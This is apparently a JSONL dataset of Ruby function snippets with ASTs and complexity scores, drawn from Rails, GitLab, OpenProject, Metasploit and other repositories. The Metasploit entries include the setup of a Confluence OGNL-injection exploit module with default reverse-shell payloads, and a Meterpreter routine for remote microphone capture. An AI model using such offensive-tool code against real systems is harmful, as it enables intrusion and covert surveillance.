80,443,100-110).\"]},{\"type\":\"str\",\"children\":[\"80,443\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"TIMEOUT\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Timeout for the ICMP socket.\"]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"STOP\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Stop when it finds a public IP.\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"5e7efdff-8c9b-4081-815a-489b16c75758"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/two_factor_authentication/app/controllers/two_factor_authentication/base_controller.rb","start_line":171,"raw_source":"def new_webauthn_device_params\n      permitted_device_params.merge(\n        user: target_user,\n        default: false,\n        active: true,\n        webauthn_external_id: webauthn_credential.id,\n        webauthn_public_key: webauthn_credential.public_key,\n        webauthn_sign_count: webauthn_credential.sign_count\n      )\n    end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"new_webauthn_device_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_device_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"target_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webauthn_external_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"webauthn_credential\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webauthn_public_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"webauthn_credential\"]},\"public_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"webauthn_sign_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"webauthn_credential\"]},\"sign_count\"]}]}]}]}]}","id":"d083f9b8-4e35-47f8-9548-946897e58d6d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/background_migration/backfill_sharding_key_and_clean_label_links_table.rb","start_line":9,"raw_source":"def perform\n        each_sub_batch do |sub_batch|\n          handle_issue_related_records(sub_batch)\n          handle_merge_request_related_records(sub_batch)\n          handle_epic_related_records(sub_batch)\n          delete_and_archive_label_links_with_no_namespace(sub_batch)\n        end\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"each_sub_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sub_batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"handle_issue_related_records\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_merge_request_related_records\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[null,\"handle_epic_related_records\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]},{\"type\":\"send\",\"children\":[null,\"delete_and_archive_label_links_with_no_namespace\",{\"type\":\"lvar\",\"children\":[\"sub_batch\"]}]}]}]}]}","id":"17cc6f66-2f75-4e5b-b913-ef1da99b13f2"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/url_helper_test.rb","start_line":632,"raw_source":"def test_link_tag_escapes_content\n    assert_dom_equal %{<a href=\"/\">Malicious &lt;script&gt;content&lt;/script&gt;</a>},\n      link_to(\"Malicious <script>content</script>\", \"/\")\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_link_tag_escapes_content\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<a href=\\\"/\\\">Malicious &lt;script&gt;content&lt;/script&gt;</a>\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"str\",\"children\":[\"Malicious <script>content</script>\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}","id":"ab52cf72-3404-4bc0-a9f4-021dc1d469d1"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/return_nil_in_predicate_method_definition.rb","start_line":118,"raw_source":"def handle_return(return_node)\n          register_offense(return_node, 'return false') if return_nil?(return_node)\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_return\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"return_node\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"return_nil?\",{\"type\":\"lvar\",\"children\":[\"return_node\"]}]},{\"type\":\"send\",\"children\":[null,\"register_offense\",{\"type\":\"lvar\",\"children\":[\"return_node\"]},{\"type\":\"str\",\"children\":[\"return false\"]}]},null]}]}","id":"cc533834-e549-4143-9608-3605e1497c2d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/google_cloud/databases_controller.rb","start_line":97,"raw_source":"def error_message(message)\n        format(s_(\"CloudSeed|Google Cloud Error - %{message}\"), message: message)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"error_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"CloudSeed|Google Cloud Error - %{message}\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}]}]}","id":"f71f6fe6-9e2e-40e1-8ed3-b365b1ad6d49"}
{"repo_name":"rails","file_path":"./repos/rails/activemodel/lib/active_model/errors.rb","start_line":171,"raw_source":"def merge!(other)\n      return errors if equal?(other)\n\n      other.errors.each { |error|\n        import(error)\n      }\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"merge!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"other\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"equal?\",{\"type\":\"lvar\",\"children\":[\"other\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"other\"]},\"errors\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[null,\"import\",{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}]}","id":"5e24a043-1ccf-4666-959f-f09cf750a3e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/atlassian_confluence_webwork_ognl_injection.rb","start_line":19,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Atlassian Confluence WebWork OGNL Injection',\n        'Description' => %q{\n          This module exploits an OGNL injection in Atlassian Confluence's\n          WebWork component to execute commands as the Tomcat user.\n        },\n        'Author' => [\n          'Benny Jacob', # Discovery\n          'Jang', # Analysis\n          'wvu' # Analysis and exploit\n        ],\n        'References' => [\n          ['CVE', '2021-26084'],\n          ['URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html'],\n          ['URL', 'https://jira.atlassian.com/browse/CONFSERVER-67940'],\n          ['URL', 'https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis'],\n          ['URL', 'https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md'],\n          ['URL', 'https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455'],\n          ['URL', 'https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6']\n        ],\n        'DisclosureDate' => '2021-08-25',\n        'License' => MSF_LICENSE,\n        'Platform' => ['unix', 'linux', 'win'],\n        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],\n        'Privileged' => false,\n        'Targets' => [\n          [\n            'Unix Command',\n            {\n              'Platform' => 'unix',\n              'Arch' => ARCH_CMD,\n              'Type' => :cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/unix/reverse_perl'\n              }\n            }\n          ],\n          [\n            'Linux Dropper',\n            {\n              'Platform' => 'linux',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :dropper,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Windows Command',\n            {\n              'Platform' => 'win',\n              'Arch' => ARCH_CMD,\n              'Type' => :cmd,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'\n              }\n            }\n          ],\n          [\n            'Windows Dropper',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :dropper,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'\n              }\n            }\n          ],\n          [\n            'PowerShell Stager',\n            {\n              'Platform' => 'win',\n              'Arch' => [ARCH_X86, ARCH_X64],\n              'Type' => :psh,\n              'DefaultOptions' => {\n                'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'\n              }\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'RPORT' => 8090\n        },\n        'Notes' => {\n          'Stability' => [CRASH_SAFE],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('TARGETURI', [true, 'Base path', '/'])\n    ])\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Atlassian Confluence WebWork OGNL Injection\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits an OGNL injection in Atlassian Confluence's\\n\"]},{\"type\":\"str\",\"children\":[\"          WebWork component to execute commands as the Tomcat user.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Benny Jacob\"]},{\"type\":\"str\",\"children\":[\"Jang\"]},{\"type\":\"str\",\"children\":[\"wvu\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2021-26084\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://jira.atlassian.com/browse/CONFSERVER-67940\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://attackerkb.com/topics/Eu74wdMbEL/cve-2021-26084-confluence-server-ognl-injection/rapid7-analysis\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://testbnull.medium.com/atlassian-confluence-pre-auth-rce-cve-2021-26084-v%C3%A0-c%C3%A2u-chuy%E1%BB%87n-v%E1%BB%81-%C4%91i%E1%BB%83m-m%C3%B9-khi-t%C3%ACm-bug-43ab36b6c455\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"https://tradahacking.vn/atlassian-confluence-cve-2021-26084-the-other-side-of-bug-bounty-45ed19c814f6\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2021-08-25\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"unix\"]},{\"type\":\"str\",\"children\":[\"linux\"]},{\"type\":\"str\",\"children\":[\"win\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Unix Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"unix\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/unix/reverse_perl\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Linux Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"linux\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"linux/x64/meterpreter/reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Command\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_CMD\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"cmd/windows/powershell_reverse_tcp\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Windows Dropper\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"dropper\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_https\"]}]}]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"PowerShell Stager\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ARCH_X86\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_X64\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Type\"]},{\"type\":\"sym\",\"children\":[\"psh\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAYLOAD\"]},{\"type\":\"str\",\"children\":[\"windows/x64/meterpreter/reverse_https\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[8090]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SAFE\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REPEATABLE_SESSION\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IOC_IN_LOGS\"]},{\"type\":\"const\",\"children\":[null,\"ARTIFACTS_ON_DISK\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Base path\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]}]}]}]}]}","id":"b085c381-e763-43a5-803c-1dcd065e96b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/tools/ci/scenario_examples.rb","start_line":66,"raw_source":"def scenario_classes(mod)\n          mod.constants.flat_map do |const|\n            c = mod.const_get(const, false)\n            next c if c.is_a?(Class)\n\n            scenario_classes(c)\n          end\n        end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"scenario_classes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"mod\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"constants\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"const\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"c\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"const_get\",{\"type\":\"lvar\",\"children\":[\"const\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Class\"]}]},{\"type\":\"next\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"scenario_classes\",{\"type\":\"lvar\",\"children\":[\"c\"]}]}]}]}]}","id":"18213ff1-b80d-46ae-b947-a11085395dd5"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/test/unit/attachment_test.rb","start_line":94,"raw_source":"def attachment_from_html(html)\n      ActionText::Content.new(html).attachments.first\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"attachment_from_html\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"html\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionText\"]},\"Content\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"html\"]}]},\"attachments\"]},\"first\"]}]}","id":"b1920cee-a7ac-4f52-87ee-f675763be0bb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/mic/mic.rb","start_line":40,"raw_source":"def mic_start(device_id)\n    request = Packet.create_request(COMMAND_ID_STDAPI_AUDIO_MIC_START)\n    request.add_tlv(TLV_TYPE_AUDIO_INTERFACE_ID, device_id)\n    response = client.send_request(request)\n    return nil unless response.result == 0\n\n    Channel.create(client, 'audio_mic', Rex::Post::Meterpreter::Channels::Pools::StreamPool, CHANNEL_FLAG_SYNCHRONOUS, response)\n  end","complexity_score":11.6,"ast_json":"{\"type\":\"def\",\"children\":[\"mic_start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"device_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_AUDIO_MIC_START\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_AUDIO_INTERFACE_ID\"]},{\"type\":\"lvar\",\"children\":[\"device_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"result\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Channel\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"client\"]},{\"type\":\"str\",\"children\":[\"audio_mic\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Post\"]},\"Meterpreter\"]},\"Channels\"]},\"Pools\"]},\"StreamPool\"]},{\"type\":\"const\",\"children\":[null,\"CHANNEL_FLAG_SYNCHRONOUS\"]},{\"type\":\"lvar\",\"children\":[\"response\"]}]}]}]}","id":"77384d1e-d949-4f25-89dc-17f95e78ddc2"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/builders/email/base_builder.rb","start_line":18,"raw_source":"def custom_sender_name\n    message&.sender&.available_name || I18n.t('conversations.reply.email.header.notifications')\n  end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_sender_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"message\"]},\"sender\"]},\"available_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"conversations.reply.email.header.notifications\"]}]}]}]}","id":"a53cf825-e7df-42c7-bd8f-44e24dc7e905"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/scoping/named_scoping_test.rb","start_line":160,"raw_source":"def test_has_many_through_associations_have_access_to_scopes\n    assert_not_equal Comment.containing_the_letter_e, authors(:david).comments\n    assert_not_empty Comment.containing_the_letter_e\n\n    expected = authors(:david).comments & Comment.containing_the_letter_e\n    assert_equal expected.sort_by(&:id), authors(:david).comments.containing_the_letter_e.sort_by(&:id)\n  end","complexity_score":23.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_has_many_through_associations_have_access_to_scopes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"containing_the_letter_e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"comments\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"containing_the_letter_e\"]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"comments\"]},\"&\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comment\"]},\"containing_the_letter_e\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"authors\",{\"type\":\"sym\",\"children\":[\"david\"]}]},\"comments\"]},\"containing_the_letter_e\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}]}","id":"5a485175-e5f7-4ec5-86bf-5f51e5c28ddd"}
